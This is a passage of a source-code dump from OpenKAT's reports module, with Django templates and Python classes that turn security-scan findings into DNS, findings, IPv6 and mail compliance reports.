endfor %}\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/dns_report/report.py",
    "content": "from datetime import datetime\nfrom typing import Any\n\nimport structlog\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.dns.records import DNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding\nfrom reports.report_types.definitions import Report\n\nlogger = structlog.get_logger(__name__)\n\n\nclass DNSReport(Report):\n    id = \"dns-report\"\n    name = _(\"DNS Report\")\n    description = _(\"DNS reports focus on domain name system configuration and potential weaknesses.\")\n    plugins = {\"required\": {\"dns-records\", \"dns-sec\"}, \"optional\": {\"dns-zone\"}}\n    input_ooi_types = {Hostname}\n    template_path = \"dns_report/report.html\"\n\n    def generate_data(self, input_ooi: str, valid_time: datetime) -> dict[str, Any]:\n        ref = Reference.from_str(input_ooi)\n        records_tree = self.octopoes_api_connector.get_tree(ref, valid_time, depth=1, types={DNSRecord}).store\n        findings_tree = self.octopoes_api_connector.get_tree(ref, valid_time, depth=3, types={Finding}).store\n\n        findings = []\n        finding_types: dict[str, dict] = {}\n        records = []\n        security = {\"spf\": True, \"dkim\": True, \"dmarc\": True, \"dnssec\": True, \"caa\": True}\n\n        for ooi_type, ooi in findings_tree.items():\n            if isinstance(ooi, Finding):\n                for check in [\"caa\", \"dkim\", \"dmarc\", \"dnssec\", \"spf\"]:\n                    if f\"NO-{check.upper()}\" in ooi.finding_type.tokenized.id:\n                        security[check] = False\n                if ooi.finding_type.tokenized.id == \"KAT-INVALID-SPF\":\n                    security[\"spf\"] = False\n                if ooi.finding_type.tokenized.id in (\n                    \"KAT-INVALID-SPF\",\n                    \"KAT-NAMESERVER-NO-IPV6\",\n                    \"KAT-NAMESERVER-NO-TWO-IPV6\",\n                ):\n                    findings.append(ooi)\n        for ooi_type, ooi in records_tree.items():\n            if isinstance(ooi, DNSRecord):\n                records.append(\n                    {\n                        \"type\": ooi.dns_record_type,\n                        \"ttl\": round(ooi.ttl / 60) if ooi.ttl else \"\",\n                        \"name\": ooi.hostname.tokenized.name,\n                        \"content\": ooi.value,\n                    }\n                )\n\n        for finding in findings:\n            try:\n                finding_type = self.octopoes_api_connector.get(Reference.from_str(finding.finding_type), valid_time)\n\n                if finding_type.id in finding_types:\n                    finding_types[finding_type.id][\"occurrences\"].append(finding)\n                else:\n                    finding_types[finding_type.id] = {\"finding_type\": finding_type, \"occurrences\": [finding]}\n\n            except ObjectNotFoundException:\n                logger.error(\"No Finding Type found for Finding '%s' on date %s.\", finding, str(valid_time))\n\n        finding_types_sorted = sorted(\n            finding_types.values(), key=lambda x: x[\"finding_type\"].risk_score or 0, reverse=True\n        )\n\n        records = sorted(records, key=lambda x: x[\"type\"])\n\n        return {\"input_ooi\": input_ooi, \"records\": records, \"security\": security, \"finding_types\": finding_types_sorted}\n"
  },
  {
    "path": "rocky/reports/report_types/findings_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/findings_report/report.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% if show_introduction %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            The Findings Report contains information about the findings that have been identified\n            for the selected asset and organization.\n        {% endblocktranslate %}\n    </p>\n{% endif %}\n{% if is_dashboard_item %}\n    {% if data.findings %}\n        <div>\n            <div>\n                <h3>{% translate \"Findings overview\" %}</h3>\n                {% include \"partials/report_severity_totals_table.html\" with show_introduction=\"yes\" data=data.findings.summary %}\n\n            </div>\n            <div>\n                <h3>\n                    {% with total=findings.summary.total_by_severity_per_finding_type %}\n                        {% translate \"Critical and high findings\" %}\n                    {% endwith %}\n                </h3>\n                <p class=\"toggle-item\" data-show=\"off\">\n                    {% blocktranslate trimmed %}\n                        This table shows the top 25 critical and high findings that have\n                        been identified for this organization, grouped by finding types.\n                        A table with all the identified findings can be found in the Findings Report.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n            {% include \"partials/report_findings_table.html\" with finding_types=data.findings.finding_types %}\n\n        </div>\n    {% else %}\n        <div>\n            <h3>{% translate \"Findings overview\" %}</h3>\n            <p class=\"toggle-item\" data-show=\"off\">\n                {% blocktranslate trimmed %}\n                    No findings have been identified yet. As soon as they have been\n                    identified, they will be shown on this page.\n                {% endblocktranslate %}\n            </p>\n        </div>\n    {% endif %}\n{% else %}\n    <div class=\"horizontal-scroll\">\n        <h3 id=\"findings-overview\">{% translate \"Findings overview\" %}</h3>\n        {% include \"partials/report_severity_totals_table.html\" with show_introduction=\"yes\" data=data.summary %}\n\n        <h3 id=\"findings-table\">{% translate \"Findings\" %}</h3>\n        {% include \"partials/report_findings_table.html\" with show_introduction=\"yes\" finding_types=data.finding_types %}\n\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/findings_report/report.py",
    "content": "from datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, FindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom octopoes.models.ooi.web import URL\nfrom reports.report_types.definitions import Report, ReportPlugins\n\nTREE_DEPTH = 9\nSEVERITY_OPTIONS = [severity.value for severity in RiskLevelSeverity]\n\n\nclass FindingsReport(Report):\n    id = \"findings-report\"\n    name = _(\"Findings Report\")\n    description = _(\"Shows all the finding types and their occurrences.\")\n    plugins: ReportPlugins = {\n        \"required\": {\n            \"dns-records\",\n            \"nmap\",\n            \"nmap-udp\",\n            \"webpage-analysis\",\n            \"ssl-version\",\n            \"ssl-certificates\",\n            \"testssl-sh-ciphers\",\n        },\n        \"optional\": {\"snyk\", \"service_banner\", \"shodan\", \"leakix\"},\n    }\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6, URL}\n    template_path = \"findings_report/report.html\"\n    label_style = \"3-light\"\n\n    def generate_data(self, input_ooi: str, valid_time: datetime) -> dict[str, Any]:\n        reference = Reference.from_str(input_ooi)\n        findings = []\n        finding_types: dict[str, Any] = {}\n        total_by_severity = {}\n        total_by_severity_per_finding_type = {}\n        history_cache = {}\n\n        for severity in SEVERITY_OPTIONS:\n            total_by_severity[severity] = 0\n            total_by_severity_per_finding_type[severity] = 0\n\n        tree = self.octopoes_api_connector.get_tree(\n            reference, depth=TREE_DEPTH, types={Finding}, valid_time=valid_time\n        ).store\n\n        findings = [ooi for ooi in tree.values() if ooi.ooi_type == \"Finding\"]\n        all_finding_types = self.octopoes_api_connector.list_objects(types={FindingType}, valid_time=valid_time).items\n\n        for finding in findings:\n            try:\n                finding_type = next(filter(lambda x: x.id == finding.finding_type.tokenized.id, all_finding_types))\n            except StopIteration:\n                continue\n\n            if finding_type.risk_severity is None:\n                continue\n\n            severity = finding_type.risk_severity.name.lower()\n            total_by_severity[severity] += 1\n\n            if finding.reference not in history_cache:\n                history_cache[finding.reference] = self.octopoes_api_connector.get_history(finding.reference)\n\n            if history_cache[finding.reference]:\n                first_seen = str(history_cache[finding.reference][0].valid_time)\n            else:\n                first_seen = \"-\"\n\n            finding_dict = {\"finding\": finding, \"first_seen\": first_seen}\n\n            if finding_type.id in finding_types:\n                finding_types[finding_type.id][\"occurrences\"].append(finding_dict)\n            else:\n                finding_types[finding_type.id] = {\"finding_type\": finding_type, \"occurrences\": [finding_dict]}\n                total_by_severity_per_finding_type[severity] += 1\n\n        sorted_finding_types: list[Any] = sorted(\n            finding_types.values(), key=lambda x: x[\"finding_type\"].risk_score or 0, reverse=True\n        )\n\n        summary = {\n            \"total_by_severity\": total_by_severity,\n            \"total_by_severity_per_finding_type\": total_by_severity_per_finding_type,\n            \"total_finding_types\": len(sorted_finding_types),\n            \"total_occurrences\": sum(total_by_severity.values()),\n        }\n\n        return {\"finding_types\": sorted_finding_types, \"summary\": summary}\n"
  },
  {
    "path": "rocky/reports/report_types/helpers.py",
    "content": "from octopoes.models import OOI, Reference\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.report_types.concatenated_report.report import ConcatenatedReport\nfrom reports.report_types.definitions import AggregateReport, BaseReport, Report\nfrom reports.report_types.dns_report.report import DNSReport\nfrom reports.report_types.findings_report.report import FindingsReport\nfrom reports.report_types.ipv6_report.report import IPv6Report\nfrom reports.report_types.mail_report.report import MailReport\nfrom reports.report_types.multi_organization_report.report import MultiOrganizationReport\nfrom reports.report_types.name_server_report.report import NameServerSystemReport\nfrom reports.report_types.open_ports_report.report import OpenPortsReport\nfrom reports.report_types.rpki_report.report import RPKIReport\nfrom reports.report_types.safe_connections_report.report import SafeConnectionsReport\nfrom reports.report_types.systems_report.report import SystemReport\nfrom reports.report_types.tls_report.report import TLSReport\nfrom reports.report_types.vulnerability_report.report import VulnerabilityReport\nfrom reports.report_types.web_system_report.report import WebSystemReport\n\nREPORTS = [\n    FindingsReport,\n    VulnerabilityReport,\n    OpenPortsReport,\n    WebSystemReport,\n    SafeConnectionsReport,\n    TLSReport,\n    SystemReport,\n    DNSReport,\n    MailReport,\n    NameServerSystemReport,\n    RPKIReport,\n    IPv6Report,\n]\nAGGREGATE_REPORTS = [AggregateOrganisationReport]\n\nMULTI_REPORTS = [MultiOrganizationReport]\n\nCONCATENATED_REPORTS = [ConcatenatedReport]\n\nALL_REPORT_TYPES = REPORTS + AGGREGATE_REPORTS + MULTI_REPORTS + CONCATENATED_REPORTS\n\n\ndef get_ooi_types_with_report() -> set[type[OOI]]:\n    \"\"\"\n    Get all OOI types that have a report\n    \"\"\"\n    return {ooi_type for report in REPORTS for ooi_type in report.input_ooi_types}\n\n\ndef get_report_types_for_ooi(ooi_pk: str) -> set[type[BaseReport]]:\n    \"\"\"\n    Get all report types that can be generated for a given OOI\n    \"\"\"\n    reference = Reference.from_str(ooi_pk)\n    ooi_type = reference.class_type\n    return {report for report in REPORTS if ooi_type in report.input_ooi_types}\n\n\ndef get_report_types_for_oois(oois: list[str]) -> set[type[BaseReport]]:\n    \"\"\"\n    Get all report types that can be generated for a given list of OOIs\n    \"\"\"\n    return {report for ooi_pk in oois for report in get_report_types_for_ooi(ooi_pk)}\n\n\ndef get_report_types_for_ooi_type(ooi_type: type[OOI]) -> set[type[BaseReport]]:\n    \"\"\"\n    Get all report types that can be generated for a given OOI type\n    \"\"\"\n    return {report for report in REPORTS if ooi_type in report.input_ooi_types}\n\n\ndef get_report_types_for_ooi_types(ooi_types: set[type[OOI]]) -> set[type[BaseReport]]:\n    \"\"\"\n    Get all report types that can be generated for a given list of OOI types\n    \"\"\"\n    return {report for ooi_type in ooi_types for report in get_report_types_for_ooi_type(ooi_type)}\n\n\ndef get_report_by_id(report_id: str) -> type[BaseReport]:\n    \"\"\"\n    Get report type by id\n    \"\"\"\n\n    for report in ALL_REPORT_TYPES:\n        if report.id == report_id:\n            return report\n    raise ValueError(f\"Report with id {report_id} not found\")\n\n\ndef get_reports(report_ids: list[str]) -> list[type[BaseReport]]:\n    return [get_report_by_id(report_id) for report_id in report_ids]\n\n\ndef get_plugins_for_report_ids(reports: list[str]) -> dict[str, set[str]]:\n    \"\"\"\n    Get all boefjes that are required and optional for a given list of reports\n    \"\"\"\n    required_boefjes: set[str] = set()\n    optional_boefjes: set[str] = set()\n\n    for report in get_reports(reports):\n        required_boefjes.update(report.plugins[\"required\"])\n        optional_boefjes.update(report.plugins[\"optional\"])\n\n    return {\"required\": required_boefjes, \"optional\": optional_boefjes}\n\n\ndef get_report_types_from_aggregate_report(aggregate_report: type[AggregateReport]) -> dict[str, set[type[Report]]]:\n    required_reports = set()\n    optional_reports = set()\n\n    required_reports.update(aggregate_report.reports[\"required\"])\n    optional_reports.update(aggregate_report.reports[\"optional\"])\n\n    return {\"required\": required_reports, \"optional\": optional_reports}\n\n\ndef get_ooi_types_from_aggregate_report(aggregate_report: type[AggregateReport]) -> set[type[OOI]]:\n    ooi_types = set()\n    for reports in aggregate_report.reports.values():\n        # Mypy doesn't support TypedDict and .values()\n        # https://github.com/python/mypy/issues/7981\n        for report in reports:  # type: ignore[attr-defined]\n            ooi_types.update(report.input_ooi_types)\n    return ooi_types\n"
  },
  {
    "path": "rocky/reports/report_types/ipv6_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/ipv6_report/report.html",
    "content": "{% load i18n %}\n\n<section id=\"ipv6\">\n    <div class=\"horizontal-scroll\">\n        {% if show_heading %}\n            <div class=\"horizontal-view\">\n                <h2>IPv6</h2>\n                {% include \"partials/report_section_action_button.html\" with modal_id=\"ipv6-modal\" template=\"ipv6_report/report.html\" %}\n\n            </div>\n        {% endif %}\n        <p class=\"toggle-item\" data-show=\"off\">\n            {% blocktranslate trimmed %}\n                The IPv6 report provides an overview of the current IPv6 status of the\n                identified system. The table below shows whether the domain is reachable\n                over IPv6 or not. A green compliance check is shown if this is the case.\n                A grey compliance cross is shown if no IPv6 address was detected.\n            {% endblocktranslate %}\n        </p>\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"IPv6 overview\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Domain\" %}</th>\n                    {% if show_system_type or aggregate_dashboard_item %}\n                        <th scope=\"col\">{% translate \"System type\" %}</th>\n                    {% endif %}\n                    <th scope=\"col\">IPv6</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% if aggregate_dashboard_item %}\n                    {% for hostname, info in data.ipv6.items %}\n                        <tr>\n                            <td>{{ hostname }}</td>\n                            <td>\n                                {% if info.systems %}\n                                    {{ info.systems|join:\", \" }}\n                                {% else %}\n                                    -\n                                {% endif %}\n                            </td>\n                            <td>\n                                {% if info.enabled %}\n                                    <span class=\"icon positive\"></span>\n                                {% else %}\n                                    <span class=\"icon incomplete\"></span>\n                                {% endif %}\n                            </td>\n                        </tr>\n                    {% endfor %}\n                {% else %}\n                    {% for hostname, info in data.items %}\n                        <tr>\n                            <td>{{ hostname }}</td>\n                            {% if show_system_type %}\n                                <td>\n                                    {% if info.systems %}\n                                        {{ info.systems|join:\", \" }}\n                                    {% else %}\n                                        -\n                                    {% endif %}\n                                </td>\n                            {% endif %}\n                            <td>\n                                {% if info.enabled %}\n                                    <span class=\"icon positive\"></span>\n                                {% else %}\n                                    <span class=\"icon incomplete\"></span>\n                                {% endif %}\n                            </td>\n                        </tr>\n                    {% endfor %}\n                {% endif %}\n            </tbody>\n        </table>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/ipv6_report/report.py",
    "content": "from collections.abc import Iterable\nfrom dataclasses import dataclass\nfrom datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\n@dataclass\nclass System:\n    system_types: list\n    oois: list\n\n\nclass IPv6Report(Report):\n    id = \"ipv6-report\"\n    name = _(\"IPv6 Report\")\n    description = _(\"Check whether hostnames point to IPv6 addresses.\")\n    plugins = {\"required\": {\"dns-records\"}, \"optional\": set()}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"ipv6_report/report.html\"\n    label_style = \"4-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        \"\"\"\n        For hostnames, check whether they point to ipv6 addresses.\n        For ip addresses, check all hostnames that point to them, and check whether they point to ipv6 addresses.\n        \"\"\"\n        hostnames_by_input_ooi = self.to_hostnames(input_oois, valid_time)\n        all_hostnames = list({h for key, hostnames in hostnames_by_input_ooi.items() for h in hostnames})\n\n        query = \"Hostname.<hostname[is ResolvedHostname].address\"\n        ips = self.group_by_source(self.octopoes_api_connector.query_many(query, valid_time, all_hostnames))\n\n        result: dict[Reference, dict[str, Any]] = {ooi: {} for ooi in input_oois}\n        for input_ooi, hostnames in hostnames_by_input_ooi.items():\n            result[input_ooi] = {\n                hostname_ref.tokenized.name: {\n                    \"enabled\": any(ip.reference.class_type == IPAddressV6 for ip in ips.get(hostname_ref, []))\n                }\n                for hostname_ref in hostnames\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/mail_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/mail_report/report.html",
    "content": "{% load i18n %}\n\n{% if data.number_of_hostnames > 0 %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            The Mail Report provides an overview of the compliance checks associated with\n            email servers. The current compliance checks the presence of SPF, DKIM and DMARC\n            records. The table below shows for each of these checks how many of the identified\n            mail servers are compliant, and if applicable a compliance issue description and\n            risk level. The risk level may be different for your specific environment.\n        {% endblocktranslate %}\n    </p>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Mailserver compliance\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Check\" %}</th>\n                    <th scope=\"col\">{% translate \"Compliance\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>SPF</td>\n                    <td>\n                        {% if data.number_of_spf != data.number_of_hostnames %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.number_of_spf }}/{{ data.number_of_hostnames }} {% translate \"mailservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>DKIM</td>\n                    <td>\n                        {% if data.number_of_dkim != data.number_of_hostnames %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.number_of_dkim }}/{{ data.number_of_hostnames }} {% translate \"mailservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>DMARC</td>\n                    <td>\n                        {% if data.number_of_dmarc != data.number_of_hostnames %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.number_of_dmarc }}/{{ data.number_of_hostnames }} {% translate \"mailservers compliant\" %}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </div>\n    {% if data.finding_types %}\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Findings\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Compliance issue\" %}</th>\n                        <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for finding_type in data.finding_types %}\n                        <tr>\n                            <td>{{ finding_type.description }}</td>\n                            <td>\n                                <span class=\"{{ finding_type.risk_severity }}\">{{ finding_type.risk_severity|capfirst }}</span>\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% endif %}\n{% else %}\n    <p>{% translate \"No mailservers have been found on this system.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/mail_report/report.py",
    "content": "from collections.abc import Iterable\nfrom datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\nMAIL_FINDING_TYPES = [\"KAT-NO-SPF\", \"KAT-NO-DMARC\", \"KAT-NO-DKIM\"]\n\n\nclass MailReport(Report):\n    id = \"mail-report\"\n    name = _(\"Mail Report\")\n    description = _(\"System specific Mail Report that focusses on IP addresses and hostnames.\")\n    plugins = {\"required\": {\"dns-records\"}, \"optional\": set()}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"mail_report/report.html\"\n    label_style = \"2-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        hostnames_by_input_ooi = self.to_hostnames(input_oois, valid_time)\n        all_hostnames = list({h for key, hostnames in hostnames_by_input_ooi.items() for h in hostnames})\n\n        filtered_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\"Hostname.<ooi[is Finding].finding_type\", valid_time, all_hostnames),\n            MAIL_FINDING_TYPES,\n        )\n\n        result = {\n            ooi: {\n                \"input_ooi\": ooi,\n                \"finding_types\": {},\n                \"number_of_hostnames\": 0,\n                \"number_of_spf\": 0,\n                \"number_of_dmarc\": 0,\n                \"number_of_dkim\": 0,\n            }\n            for ooi in input_oois\n        }\n\n        for input_ooi, hostname_references in hostnames_by_input_ooi.items():\n            all_finding_types = []\n            number_of_hostnames = len(hostname_references)\n            number_of_spf = number_of_hostnames\n            number_of_dmarc = number_of_hostnames\n            number_of_dkim = number_of_hostnames\n\n            for hostname in hostname_references:\n                finding_types = filtered_finding_types.get(hostname, [])\n\n                number_of_spf -= 1 if any(finding.id == \"KAT-NO-SPF\" for finding in finding_types) else 0\n                number_of_dmarc -= 1 if any(finding.id == \"KAT-NO-DMARC\" for finding in finding_types) else 0\n                number_of_dkim -= 1 if any(finding.id == \"KAT-NO-DKIM\" for finding in finding_types) else 0\n\n                all_finding_types.extend(finding_types)\n\n            result[input_ooi] = {\n                \"input_ooi\": input_ooi,\n                \"finding_types\": all_finding_types,\n                \"number_of_hostnames\": number_of_hostnames,\n                \"number_of_spf\": number_of_spf,\n                \"number_of_dmarc\": number_of_dmarc,\n                \"number_of_dkim\": number_of_dkim,\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/appendix.html",
    "content": "{% load i18n %}\n\n<section id=\"appendix\">\n    <div class=\"chapter-numbers type-a\">\n        <h2 id=\"appendix\">{% translate \"Appendix\" %}</h2>\n        {% include \"aggregate_organisation_report/term_overview.html\" %}\n\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/asset_overview.html",
    "content": "{% load i18n %}\n\n<section id=\"asset-overview\">\n    <div>\n        <h2>{% translate \"Asset overview\" %}</h2>\n        <p>\n            {% translate \"An overview of the manually released scanned assets. Assets in <strong>bold</strong> are taken as a starting point, assets that are not in bold were found by OpenKAT itself.\" %}\n        </p>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Overview of included assets\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Asset\" %}</th>\n                        <th scope=\"col\">{% translate \"Amount\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr>\n                        <td>{% translate \"IP addresses\" %}</td>\n                        <td>{{ report_data.total_systems }}</td>\n                    </tr>\n                    <tr>\n                        <td>{% translate \"Domain names\" %}</td>\n                        <td>{{ report_data.total_hostnames }}</td>\n                    </tr>\n                    {% for service, count in report_data.service_counts.items %}\n                        <tr>\n                            <td>{{ service }} server</td>\n                            <td>{{ count }}</td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n        {% if report_data.asset_vulnerabilities %}\n            <div class=\"horizontal-scroll\">\n                <table>\n                    <caption class=\"visually-hidden\">{% translate \"Assets with most critical vulnerabilities\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th scope=\"col\">{% translate \"Asset\" %}</th>\n                            <th scope=\"col\">{% translate \"Vulnerability\" %}</th>\n                            <th scope=\"col\">{% translate \"Organisation\" %}</th>\n                        </tr>\n                    </thead>\n                    <tbody>\n                        {% for asset_vulnerability in report_data.asset_vulnerabilities %}\n                            <tr>\n                                <td>{{ asset_vulnerability.asset|human_readable }}</td>\n                                <td>\n                                    {% if asset_vulnerability.vulnerabilities %}\n                                        {{ asset_vulnerability.vulnerabilities|join:\", \" }}\n                                    {% else %}\n                                        {% translate \"No vulnerabilities found.\" %}\n                                    {% endif %}\n                                </td>\n                                <td>{{ asset_vulnerability.organisation }}</td>\n                            </tr>\n                        {% endfor %}\n                    </tbody>\n                </table>\n            </div>\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/basic_security_details.html",
    "content": "{% load i18n %}\n\n<div>\n    <div id=\"safe-connections\">\n        <h3>{% translate \"Safe connections\" %}</h3>\n        {#    <p>#}\n        {#        <strong><span class=\"tag critical\">{% translate \"Critical\" %}</span> {% translate \"Score:\" %} 80%, {% translate \"Sector:\" %} 90%</strong>#}\n        {#    </p>#}\n        <p>\n            {% blocktranslate trimmed %}\n                In this chapter we check if the connections of all the IP ports of the system are safe.\n                Safe connections are important to prevent unauthorised access and data breaches. Strong\n                ciphers are crucial because they ensure strong encryption which protects the data from\n                interception during communiction.\n            {% endblocktranslate %}\n        </p>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Overview of safe connections\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Check\" %}</th>\n                        <th scope=\"col\">{% translate \"Amount\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr>\n                        <td>{% translate \"Only Safe Ciphers\" %}</td>\n                        <td>\n                            {% if report_data.basic_security.safe_connections.number_of_available != report_data.basic_security.safe_connections.number_of_ips %}\n                                <span class=\"icon incomplete\"></span>\n                            {% else %}\n                                <span class=\"icon positive\"></span>\n                            {% endif %}\n                            {{ report_data.basic_security.safe_connections.number_of_available }}/{{ report_data.basic_security.safe_connections.number_of_ips }} {% translate \"services are compliant\" %}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </div>\n    <div id=\"system-specific\">\n        <h3>{% translate \"System specific checks\" %}</h3>\n        {#    <p>#}\n        {#        <strong><span class=\"tag medium\">Medium</span> Score: 80%, Sector: 90%</strong>#}\n        {#    </p>#}\n        <p>\n            {% blocktranslate trimmed %}\n                This is where checks are done that are specific to system types. Different security\n                and compliance issues come into play for different systems. They are listed here\n                under each other.\n            {% endblocktranslate %}\n        </p>\n        {% for check, specific in report_data.basic_security.system_specific.items %}\n            {% if specific.checks %}\n                {% include \"aggregate_organisation_report/system_specific.html\" with data=specific type=check %}\n\n            {% endif %}\n        {% endfor %}\n    </div>\n    <div id=\"rpki\">\n        <h3>{% translate \"Resource Public Key Infrastructure\" %}</h3>\n        <p>\n            {% blocktranslate trimmed %}\n                This section contains basic security information about resource public key\n                infrastructure. If your web server employs RPKI for its IP addresses and\n                associated nameservers, then it enhances visitor protection against\n                misconfigurations and malicious route intercepts through verified route\n                announcements, ensuring reliable server access and secure internet traffic.\n            {% endblocktranslate %}\n        </p>\n        {#    #}\n        {#    <p>#}\n        {#        <strong><span class=\"tag secure\">Secure</span> Score: 100%, Sector: 90%</strong>#}\n        {#    </p>#}\n        {% for service, rpki in report_data.basic_security.rpki.items %}\n            {% if rpki %}\n                {% include \"rpki_report/report.html\" with data=rpki type=service %}\n\n            {% endif %}\n        {% endfor %}\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/ipv6.html",
    "content": "{% load i18n %}\n\n<section id=\"ipv6\">\n    <div>\n        <h2>{% translate \"IPv6\" %}</h2>\n        <p>\n            {% blocktranslate trimmed %}\n                IPv6 includes improvements in security features compared to IPv4.\n                While IPv4 can implement security measures, IPv6 was designed with security in mind,\n                and its adoption can contribute to a more secure internet.\n            {% endblocktranslate %}\n        </p>\n        <p>\n            {% translate \"In total \" %} {{ report_data.ipv6.values|get_key:\"enabled\"|sum_list }}{% translate \" out of \" %}{{ report_data.ipv6.values|get_key:\"total\"|sum_list }} {% translate \" systems have an IPv6 connection.\" %}\n        </p>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Overview of IP version compliance\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"System type\" %}</th>\n                        <th scope=\"col\">IPv6</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for service, compliance in report_data.ipv6.items %}\n                        <tr>\n                            <td>{{ service }}</td>\n                            <td>\n                                {% if compliance.enabled != compliance.total %}\n                                    <span class=\"icon incomplete\"></span>\n                                {% else %}\n                                    <span class=\"icon positive\"></span>\n                                {% endif %}\n                                {{ compliance.enabled }}/{{ compliance.total }}\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/multi_organization_report/open_ports.html",
    "content": "{% load i18n %}\n\n<section id=\"open-ports\">\n    <div>\n        <h2>Open ports</h2>\n        <p>{% translate \"See an overview of open ports found over all systems and the services these systems provide.\" %}</p>\n        {% if report_data.open_ports.ports %}\n            <div class=\"horizontal-scroll\">\n                <table>\n                    <caption class=\"visually-hidden\">{% translate \"Overview of detected open ports\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th scope=\"col\">{% translate \"Open ports\" %}</th>\n                            <th scope=\"col\">{% translate \"Occurrences (IP addresses)\" %}</th>\n                            <th scope=\"col\">{% translate \"Services\" %}</th>\n                        </tr>\n                    </thead>\n                    <tbody>\n                        {% for port, port_info in report_data.open_ports.ports.items %}\n                            <tr>\n                                <td>{{ port }}</td>\n                                <td>{{ port_info.open }}/{{ report_data.open_ports.total }}</td>\n                                <td>{{ port_info.services|join:\", \"|upper }}</td>\n                            </tr>\n                        {% endfor %}\n                    </tbody>\n                </table>\n            </div>\n        {% else %}\n            {% translate \"No open ports found.\" %}\n     